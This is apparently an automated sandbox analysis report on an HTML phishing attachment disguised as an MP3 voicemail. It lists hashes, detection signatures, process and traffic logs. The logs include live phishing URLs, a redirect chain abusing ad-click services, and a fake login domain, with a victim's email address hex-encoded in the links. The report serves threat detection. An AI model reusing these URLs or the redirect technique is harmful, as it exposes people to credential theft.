Edit tour

Windows Analysis Report
_#U266c_Play Mp3MSG(#U00f0#U0178#U201c#U017e)899 ___3pm .htm

Overview

General Information

Sample Name:	_#U266c_Play Mp3MSG(#U00f0#U0178#U201c#U017e)899 ___3pm .htm
Analysis ID:	607996
MD5:	4cbf79ca21554f93bb256e852fb9332d
SHA1:	9c554af4271a9303e86a0dabd9a001bd60259c61
SHA256:	3ca09d503ddd703aa05296ef9f42025433297869a02c9413431e336c04581c21
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish27

Phishing site detected (based on favicon image match)

HTML document with suspicious name

IP address seen in connection with other malware

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3532 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\_#U266c_Play Mp3MSG(#U00f0#U0178#U201c#U017e)899 ___3pm .htm MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6700 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1588,4206771017813030206,17947662718362480258,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1648 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
09395.0.pages.csv	JoeSecurity_HtmlPhish_27	Yara detected HtmlPhish_27	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish27

Source: Yara match

File source: 09395.0.pages.csv, type: HTML

Phishing site detected (based on favicon image match)

Source: http://www.atlanticare.phulharjutemills.com/get/#773746576656e2e6772697368616d4061746c616e7469636172652e6f7267

Matcher: Template: microsoft matched with high similarity

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic			Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Local\Temp\3532_1508995057\LICENSE.txt

Jump to behavior

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: unknown

DNS traffic detected: queries for: clients2.google.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Apr 2022 15:32:50 GMTServer: ApacheLast-Modified: Mon, 11 Apr 2022 19:36:29 GMTAccept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 6685Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d 69 b3 b3 c8 95 e6 e7 76 84 ff c3 9d d7 1f aa 2a 28 17 8b 58 6b 8b 48 40 62 11 62 11 08 24 26 26 26 d8 77 84 d8 a1 c3 ff 7d b8 f7 5d aa ec ae f2 bc e5 9e b1 dd 6e 25 71 b9 64 e6 39 49 3e 99 c9 59 38 02 be 4f fb aa fc f1 e5 f7 bf fb 3e 8d bc f0 ed a0 8a 7a ef a5 f6 aa e8 87 77 63 16 4d cd bd ed df bd 04 f7 ba 8f ea fe 87 77 53 16 f6 e9 0f 61 34 66 41 f4 c7 b7 cc d7 2f 43 17 b5 7f ec 02 af f4 fc 32 fa a1 be 7f fd 92 d5 59 9f 79 e5 5b 61 f4 03 fa f5 4b e5 cd 59 35 54 1f 0b be 41 de fd b8 9d aa cf fa 32 fa 51 2f 23 af 8b 5e 1c 2f eb bf f9 e6 9b ef e1 f7 a5 af 5d e9 82 36 6b fa 97 7e 69 b6 ce f4 d1 dc c3 b9 37 7a ef 4b 5f 1b f8 fd ef e2 a1 0e fa ec 5e bf 94 77 2f fc f2 ab 97 7f 7f 19 bd f6 e5 f2 f2 c3 cb bb b4 ef 9b ee 5b 18 2e ef 49 56 7f d3 45 c1 d0 46 de d0 a7 1b 8c 2c f0 fa ac be 77 df 74 41 3a 79 7e f0 cd bc ac f0 75 71 38 af 5c b4 77 df bd 36 fc da 4c ea 75 e9 d6 d2 94 d5 e1 7d fa a6 bc bf 72 dd eb 6f 5e 8b bf cb e2 97 2f ff c7 eb d1 76 ce b7 53 9e 95 5f 22 bd 77 fd eb 50 7e f7 a7 a8 dc 20 fe 8c 72 eb 23 f4 f2 ee 0f ef b6 fd 6b 2b df 74 4d 99 f5 5f 7e f1 87 2f be fa 9f e8 ff fa ee 4f 1f 1a ba 37 51 fd e5 c6 f0 f5 cb bb ff dd 45 65 fc ee ab ef fe f4 3d fc 7e 00 5e 07 b0 cc ea e2 a5 8d ca 1f de 75 e9 36 4f c1 d0 bf 64 db 54 bd 7b 49 db 28 fe e1 5d e8 f5 de b7 59 e5 25 11 3c ff f1 b5 e2 3b 7f 1b 69 12 ff 1a 00 c0 02 70 03 89 04 0c f0 96 d8 fb 71 db bb c9 b6 db a7 d2 fe 7d 21 20 01 02 c0 09 bf 6f 87 d3 89 fd 50 28 24 02 00 1c a6 6e b4 12 f7 91 9f bf 83 2d 2f e6 1b 3d 9b dc 7e e2 7f 3d 72 5f 0f 8d fd 47 7e 2e d9 8e f8 c1 d8 38 5f cf 09 a4 0f e5 c6 db df 47 d6 f7 75 bf 9a 78 18 86 69 40 91 af 4c 1c 01 4f 00 0c 35 0d a4 92 5f fe 2a db af a7 4c fa bc ed 75 84 f8 d3 fa 79 db 67 b6 99 bd 0d c1 67 b6 79 5a 3e b7 d5 d7 46 3f b7 a7 a7 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe 27 fe df 88 ff af de 71 7c a6 7f f9 64 7f 66 ba 6c b4 ec fe fc 79 db e1 73 5b 7d ed c1 67 b6 b9 3f 7f 6e a3 c6 d6 e8 e7 b6 b9 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 7f e2 ff 8d f8 7f ba bd 28 e2 bf 70 cf 91 85 7e a1 10 c4 c9 2f 14 3e f9 9f fc 4f fe 27 ff bf 00 ff eb f3 00 ff c8 44 ff 83 f1 3f f9 9f fc 4f fe 27 ff 3f 17 ff db 33 5c fb 57 56 ce 78 2b f8 f4 7c 17 07 78 e3 97 ce f3 31 fd 9d 9e ef 4a 7e f5 17 22 4f fa 27 fd 93 fe 49 ff a4 7f d2 7f 0e fd df a8 96 fe 59 12 fb ab 77 bb 7e d3 fd b2 27 fd 93 fe 49 ff a4 7f d2 3f e9 ff 6c 33 de b4 8c fe 17 5a e7 99 7f e6 df 27 fe 2f ee a5 fe d6 fc 3f ba ff cf fc 3f 79 fe f5 1d 46 e0 cd 4a 17 de f2 2c f8 f8 ea a2 8f 25 bf 96 f4 6d 89 4d fc d8 bc 1e 2b 35 0c 00 47 c6 13 c8 2e ba f4 57 d9 7e

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfmX-Goog-Update-Updater: chromecrx-85.0.4183.121Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pcs/click?xai=AKAOjsuNB9fkUnzdSKCMNvc7k4ilbQLDjtqYxh55Se5SIiE7_Sz6O4BVOpEyALQwilM3YNHJHFqkmqqT8ArqEyOG3nqoDnjG7dyxijqEYVK13iaLydptAurmS3iDTTmwXXbMlNXQFHUwi4AuxeX0VPkWveH8NbkWVaFMGGP3TE-UHQS10LQbw-wf4vbn1FxooWMKiGYhq9rssP9f9YWeyNmk3xFoLPQENaDU6Pw-zdqShPwUDZIzoYnNa2ZyfBwIKrQEmmArfN4N8-uR17f7Jxn4bbgswNCM91VbHOHvAVsqU3d1FfFTv-NRZzQoSIGHwkxnvHdKoH0EbQDwnW-WEERba2y190QSUoxnj6NEmiezvUgcVDHMHH1rUxHrtA0oX6FDFVy8oY5bcMpJpu4aCtI8qQ9IkWv709ifjzpA5CYkdV-umhViZcT_OmQMfjVWAaY75NIUSLhmCMWsCLrUqvddESnj3PaCtiAa2akzR3XNXRUXhDtzteOdNQdJIkPN8w0B2_-XsQ5IWjB5yewwqf0Eom3cUp8wZuiQnp19_YffgZEJEB_WkZfndO57-S62itG2ps_PaIn7WUqbO9_lWQmg5FAUWYKwXaHRs8u6qbJpt2dNb_Ll-eclk1rvVREJcKLIKYitTa9ZnXCgGldlcaNumqCtyw8P5RJHzV_ergpQ2LjRkvj9n3wyYzmmBtdiTkgUSbm2xBZA3or03jqbj2OUZ70xz9RsAx_1gDV0kvf-qGjFRJ1Q710fPCA7M5b_RnNcXq0AJ32kjgglnFxPQ0Gv8dCE5ECa7f7xcXq-2ytMWeTn17SthfLVtRDpNX6ckBfPzB8kQR68dgSd_1Lls3q7vnynHmuAs1ZQtMS181z-aOiOVWvRudDnMjjmmj0vRbms4Rs4SXNh8axZ1U7LeqsfU2gxkdIKh-MFyxr_esK3XLk5D6nVs3NZaJ5tb-aOy1r3-GejXCaRMbuAAAF-232Jtut7oBtNLQRzer7aKhBXwwARGXNDDaHLj0dvu_14NyG-159RIPlDhx_dDJwBzyg0uSWOaE_lUMQeaNvJXXAL-QAYSCRXlbn44MVIwz_k0-7T7ntrzNmWecmhlsI9JU63GpPiPNanT1fxD7QEX94fEAx7aduaUIh7T0CPVWRBv9pp6AdlKgX_su0_O_Mk_Rs&sai=AMfl-YTgmC8fWFlyDKmODFOhDlMLXZV2tObY33ijNiNvLvbmkQEagBRrkPF-04TIAUHFpbC0va0XuYy_zt2Jq59gSDIX1LKFWNIM0k_kO7QgBSEmPNvHUoP6YdBny_CCvCXusG1PRHOd0eVnY-RFWWqV87dpTjBUJ0ynQWPkDPW5&sig=Cg0ArKJSzMXHuNqM-G5z&pr=2:2.900839&fbs_aeid=[gw_fbsaeid]&urlfix=1&nx=70&ny=208&dim=160x600&adurl=https://t.myvisualiq.net/click_pixel%3Fet%3Dc%26ago%3D212%26ao%3D546%26aca%3D26737887%26si%3D7192763%26ci%3D161117887%26pi%3D317760010%26ad%3D512366295%26sv1%3D%5Bkeyword_id%5D%26advt%3D4470646%26chnl%3D-7%26vndr%3D115%26sz%3D6585%26u%3Dred%3Dhttp://www.Atlanticare.phulharjutemills.com/get/ HTTP/1.1Host: adclick.g.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /click_pixel?et=c&ago=212&ao=546&aca=26737887&si=7192763&ci=161117887&pi=317760010&ad=512366295&sv1=[keyword_id]&advt=4470646&chnl=-7&vndr=115&sz=6585&u=red=http://www.Atlanticare.phulharjutemills.com/get/ HTTP/1.1Host: t.myvisualiq.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ul_cb/click_pixel?et=c&ago=212&ao=546&aca=26737887&si=7192763&ci=161117887&pi=317760010&ad=512366295&sv1=[keyword_id]&advt=4470646&chnl=-7&vndr=115&sz=6585&u=red=http://www.Atlanticare.phulharjutemills.com/get/ HTTP/1.1Host: t.myvisualiq.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=ea3190e6-f282-403f-b0cc-586e4c2b810c; c=1649777570; tuuid_lu=1649777570
Source: global traffic	HTTP traffic detected: GET /XyWCalyO HTTP/1.1Host: login.secureauthenticatinos.schwabc.xyzConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: http://www.atlanticare.phulharjutemills.com/get/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /300/150/?image=467 HTTP/1.1Host: picsum.photosConnection: keep-aliveOrigin: https://login.secureauthenticatinos.schwabc.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: imageReferer: https://login.secureauthenticatinos.schwabc.xyz/XyWCalyOAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id/467/300/150.jpg?hmac=PVY6P6MpcWCQZzhP8AAoB_q-qVmTVOMnMag0jl6IyKA HTTP/1.1Host: i.picsum.photosConnection: keep-aliveOrigin: nullUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: imageReferer: https://login.secureauthenticatinos.schwabc.xyz/XyWCalyOAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //2.6.3/images/icon_light.f13cff3.png HTTP/1.1Host: cstaticdun.126.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.secureauthenticatinos.schwabc.xyz/XyWCalyOAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: login.secureauthenticatinos.schwabc.xyzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.secureauthenticatinos.schwabc.xyz/XyWCalyOAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: LRUB=5ca95fa2a98000e50a6fdde7612f55f85fbee26d6e6981d98fca59899df5876b
Source: global traffic	HTTP traffic detected: GET /crx/blobs/Acy1k0bLIjHsvnKaKN_oRpVaYYvFs25d7GKYF1WXrT6yizCMksBO0c_ggE0B6tx6HPRHe6q1GOEe3_NcIbSiGG8kXeLMUY0sAKVvC6R89zvKM13s5VqoAMZSmuUgjQL5vlygJuArQghXXE_qTL7NlQ/extension_8520_615_0_5.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /get/ HTTP/1.1Host: www.atlanticare.phulharjutemills.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: Ruleset Data.0.dr	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: Filtering Rules.0.dr, Ruleset Data.0.dr	String found in binary or memory: www.facebook.com/ajax/ads/ equals www.facebook.com (Facebook)
Source: Filtering Rules.0.dr	String found in binary or memory: www.facebook.com0 equals www.facebook.com (Facebook)

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not Found

Source: pnacl_public_x86_64_pnacl_sz_nexe.0.dr	String found in binary or memory: http://llvm.org/):
Source: History Provider Cache.0.dr	String found in binary or memory: http://www.Atlanticare.phulharjutemills.com/get/#773746576656e2e6772697368616d4061746c616e7469636172
Source: History Provider Cache.0.dr	String found in binary or memory: http://www.atlanticare.phulharjutemills.com/get/#773746576656e2e6772697368616d4061746c616e7469636172
Source: c1749b14-dd79-48cc-a3d4-9d1697bed16a.tmp.2.dr, 5353b20c-fbee-47ae-9e11-e25a0b21bf27.tmp.2.dr, 61143dae-5cb8-4bf2-a423-ac7e89a4b043.tmp.2.dr	String found in binary or memory: https://accounts.google.com
Source: craw_window.js.0.dr	String found in binary or memory: https://accounts.google.com/MergeSession
Source: c1749b14-dd79-48cc-a3d4-9d1697bed16a.tmp.2.dr, 5353b20c-fbee-47ae-9e11-e25a0b21bf27.tmp.2.dr	String found in binary or memory: https://adclick.g.doubleclick.net
Source: History Provider Cache.0.dr	String found in binary or memory: https://adclick.g.doubleclick.net/pcs/click?xai=AKAOjsuNB9fkUnzdSKCMNvc7k4ilbQLDjtqYxh55Se5SIiE7_Sz6
Source: c1749b14-dd79-48cc-a3d4-9d1697bed16a.tmp.2.dr, 5353b20c-fbee-47ae-9e11-e25a0b21bf27.tmp.2.dr, 61143dae-5cb8-4bf2-a423-ac7e89a4b043.tmp.2.dr	String found in binary or memory: https://apis.google.com
Source: pnacl_public_x86_64_pnacl_sz_nexe.0.dr	String found in binary or memory: https://chromium.googlesource.com/a/native_client/pnacl-clang.git
Source: pnacl_public_x86_64_pnacl_sz_nexe.0.dr	String found in binary or memory: https://chromium.googlesource.com/a/native_client/pnacl-llvm.git
Source: c1749b14-dd79-48cc-a3d4-9d1697bed16a.tmp.2.dr, 5353b20c-fbee-47ae-9e11-e25a0b21bf27.tmp.2.dr, 61143dae-5cb8-4bf2-a423-ac7e89a4b043.tmp.2.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.0.dr, manifest.json.0.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: c1749b14-dd79-48cc-a3d4-9d1697bed16a.tmp.2.dr, 5353b20c-fbee-47ae-9e11-e25a0b21bf27.tmp.2.dr, 61143dae-5cb8-4bf2-a423-ac7e89a4b043.tmp.2.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: LICENSE.txt.0.dr	String found in binary or memory: https://creativecommons.org/.
Source: LICENSE.txt.0.dr	String found in binary or memory: https://creativecommons.org/compatiblelicenses
Source: c1749b14-dd79-48cc-a3d4-9d1697bed16a.tmp.2.dr, 5353b20c-fbee-47ae-9e11-e25a0b21bf27.tmp.2.dr, 81ecb715-e9d6-461d-b5e2-2f566184dfcc.tmp.2.dr, 803dfd47-ab11-49a4-9817-e5e4dc406d99.tmp.2.dr, 61143dae-5cb8-4bf2-a423-ac7e89a4b043.tmp.2.dr	String found in binary or memory: https://dns.google
Source: LICENSE.txt.0.dr	String found in binary or memory: https://easylist.to/)
Source: c1749b14-dd79-48cc-a3d4-9d1697bed16a.tmp.2.dr, 5353b20c-fbee-47ae-9e11-e25a0b21bf27.tmp.2.dr, 61143dae-5cb8-4bf2-a423-ac7e89a4b043.tmp.2.dr	String found in binary or memory: https://fonts.googleapis.com
Source: c1749b14-dd79-48cc-a3d4-9d1697bed16a.tmp.2.dr, 5353b20c-fbee-47ae-9e11-e25a0b21bf27.tmp.2.dr, 61143dae-5cb8-4bf2-a423-ac7e89a4b043.tmp.2.dr	String found in binary or memory: https://fonts.gstatic.com
Source: LICENSE.txt.0.dr	String found in binary or memory: https://github.com/easylist)
Source: craw_window.js.0.dr, craw_background.js.0.dr	String found in binary or memory: https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p
Source: History Provider Cache.0.dr	String found in binary or memory: https://login.secureauthenticatinos.schwabc.xyz/XyWCalyO#773746576656e2e6772697368616d4061746c616e74
Source: c1749b14-dd79-48cc-a3d4-9d1697bed16a.tmp.2.dr, 5353b20c-fbee-47ae-9e11-e25a0b21bf27.tmp.2.dr, 61143dae-5cb8-4bf2-a423-ac7e89a4b043.tmp.2.dr	String found in binary or memory: https://ogs.google.com
Source: craw_window.js.0.dr, manifest.json0.0.dr	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: c1749b14-dd79-48cc-a3d4-9d1697bed16a.tmp.2.dr, 5353b20c-fbee-47ae-9e11-e25a0b21bf27.tmp.2.dr	String found in binary or memory: https://r1---sn-4g5ednse.gvt1.com
Source: c1749b14-dd79-48cc-a3d4-9d1697bed16a.tmp.2.dr, 5353b20c-fbee-47ae-9e11-e25a0b21bf27.tmp.2.dr	String found in binary or memory: https://redirector.gvt1.com
Source: craw_window.js.0.dr, manifest.json0.0.dr	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: c1749b14-dd79-48cc-a3d4-9d1697bed16a.tmp.2.dr, 5353b20c-fbee-47ae-9e11-e25a0b21bf27.tmp.2.dr, 61143dae-5cb8-4bf2-a423-ac7e89a4b043.tmp.2.dr	String found in binary or memory: https://ssl.gstatic.com
Source: History Provider Cache.0.dr	String found in binary or memory: https://t.myvisualiq.net/click_pixel%3Fet%3Dc%26ago%3D212%26ao%3D546%26aca%3D26737887%26si%3D7192763
Source: History Provider Cache.0.dr	String found in binary or memory: https://t.myvisualiq.net/click_pixel?et=c&ago=212&ao=546&aca=26737887&si=7192763&ci=161117887&pi=317
Source: History Provider Cache.0.dr	String found in binary or memory: https://t.myvisualiq.net/ul_cb/click_pixel?et=c&ago=212&ao=546&aca=26737887&si=7192763&ci=161117887&
Source: craw_window.js.0.dr, craw_background.js.0.dr	String found in binary or memory: https://www-googleapis-staging.sandbox.google.com
Source: c1749b14-dd79-48cc-a3d4-9d1697bed16a.tmp.2.dr, 5353b20c-fbee-47ae-9e11-e25a0b21bf27.tmp.2.dr, 61143dae-5cb8-4bf2-a423-ac7e89a4b043.tmp.2.dr	String found in binary or memory: https://www.google.com
Source: manifest.json0.0.dr	String found in binary or memory: https://www.google.com/
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/accounts/OAuthLogin?issueuberauth=1
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/cleardot.gif
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/dot2.gif
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/x2.gif
Source: craw_background.js.0.dr	String found in binary or memory: https://www.google.com/intl/en-US/chrome/blank.html
Source: c1749b14-dd79-48cc-a3d4-9d1697bed16a.tmp.2.dr, craw_window.js.0.dr, craw_background.js.0.dr, 5353b20c-fbee-47ae-9e11-e25a0b21bf27.tmp.2.dr, 61143dae-5cb8-4bf2-a423-ac7e89a4b043.tmp.2.dr	String found in binary or memory: https://www.googleapis.com
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: c1749b14-dd79-48cc-a3d4-9d1697bed16a.tmp.2.dr, 5353b20c-fbee-47ae-9e11-e25a0b21bf27.tmp.2.dr, 61143dae-5cb8-4bf2-a423-ac7e89a4b043.tmp.2.dr	String found in binary or memory: https://www.gstatic.com

Source: unknown

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\_#U266c_Play Mp3MSG(#U00f0#U0178#U201c#U017e)899 ___3pm .htm
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1588,4206771017813030206,17947662718362480258,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1648 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
